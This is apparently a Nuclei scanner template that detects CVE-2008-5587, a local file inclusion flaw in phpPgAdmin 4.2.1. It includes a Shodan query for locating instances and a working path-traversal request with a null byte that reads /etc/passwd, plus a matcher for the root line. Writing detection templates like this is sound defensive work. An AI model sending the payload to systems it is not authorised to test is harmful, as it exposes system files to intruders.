id: CVE-2008-5587 info: name: phpPgAdmin <=4.2.1 - Local File Inclusion author: dhiyaneshDK severity: medium description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php. reference: - https://www.exploit-db.com/exploits/7363 - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014 - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263 - https://nvd.nist.gov/vuln/detail/CVE-2008-5587 classification: cve-id: CVE-2008-5587 metadata: shodan-query: http.title:"phpPgAdmin" tags: cve,cve2008,lfi,phppgadmin requests: - method: GET path: - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # Enhanced by mp on 2022/07/22